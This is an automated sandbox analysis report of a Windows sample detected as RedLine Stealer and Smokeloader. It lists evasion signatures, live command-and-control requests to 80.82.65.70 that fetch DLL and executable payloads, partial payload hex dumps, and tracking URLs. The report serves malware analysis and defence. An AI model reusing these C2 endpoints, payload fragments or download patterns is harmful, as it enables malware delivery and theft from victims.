Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1574030
MD5:	b8501b9ad61e6247049c8c36bf6eaf57
SHA1:	dae7d1e7561fafa903152a139af6f406ce1a2d85
SHA256:	12e5a10025f316a2ce8b05a5e4170d3a5f6578ab97088c77ff9a552afaf592f6
Tags:	exeuser-Bitsight
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

×

Process Tree

System is w10x64

file.exe (PID: 7260 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B8501B9AD61E6247049C8C36BF6EAF57)

WerFault.exe (PID: 7964 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7260 -s 584 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2536971239.0000000000D6C000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10c0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Y-Cleaner.exe	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Y-Cleaner.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004035B0 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_004035B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B53817 CryptAcquireContextW,CryptCreateHash,CryptHashData,GetLastError,CryptDeriveKey,GetLastError,CryptReleaseContext,CryptDecrypt,CryptDestroyKey,		0_2_04B53817

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 19:37:02 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 12 Dec 2024 19:37:03 GMTServer: Apache/2.4.58 (Ubuntu)Content-Disposition: attachment; filename="soft";Content-Length: 1502720Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 2f 14 00 00 20 00 00 00 30 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 f0 b9 02 00 00 60 14 00 00 ba 02 00 00 32 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 17 00 00 02 00 00 00 ec 16 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4f 14 00 00 00 00 00 48 00 00 00 02 00 05 00 68 7e 00 00 b8 44 00 00 01 00 00 00 55 00 00 06 20 c3 00 00 10 8c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 28 13 00 00 0a 2a 1e 02 28 13 00 00 0a 2a ae 7e 01 00 00 04 2d 1e 72 01 00 00 70 d0 03 00 00 02 28 14 00 00 0a 6f 15 00 00 0a 73 16 00 00 0a 80 01 00 00 04 7e 01 00 00 04 2a 1a 7e 02 00 00 04 2a 1e 02 80 02 00 00 04 2a 6a 28 03 00 00 06 72 3d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 4d 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 b7 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 cb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 d9 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 eb 00 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 6a 28 03 00 00 06 72 1f 01 00 70 7e 02 00 00 04 6f 17 00 00 0a 74 15 00 00 01 2a 1a 7e 03 00 00 04 2a 1e 02 28 18 00 00 0a 2a 56 73 0e 00 00 06 28 19 00 00 0a 74 04 00 00 02 80 03 00 00 04 2a 4e 02 28 1a 00 00 0a 02 28 1e 00 00 06 02 28 11 00 00

Source: Joe Sandbox View

IP Address: 80.82.65.70 80.82.65.70

Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70
Source: unknown	TCP traffic detected without corresponding DNS query: 80.82.65.70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401940 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,

Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: dHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: sHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache

Source: file.exe, 00000000.00000002.2536989078.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp
Source: file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empLK
Source: file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download7
Source: file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key
Source: file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/keyJW
Source: file.exe, 00000000.00000002.2536989078.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download2I
Source: file.exe, 00000000.00000002.2536989078.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadDHV
Source: file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/soft/download
Source: Amcache.hve.6.dr	String found in binary or memory: http://upx.sf.net
Source: file.exe, 00000000.00000003.2298707182.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298741762.0000000005653000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2301695340.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299809677.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000595E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2300562419.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000591E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299969169.0000000005A31000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: file.exe, 00000000.00000003.2298707182.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298741762.0000000005653000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2301695340.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299809677.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000595E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2300562419.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000591E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299969169.0000000005A31000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://g-cleanit.hk
Source: file.exe, 00000000.00000003.2298707182.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298741762.0000000005653000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2301695340.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299809677.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000595E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2300562419.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000591E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299969169.0000000005A31000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	String found in binary or memory: https://iplogger.org/1Pz8p7

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2536971239.0000000000D6C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2537916490.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

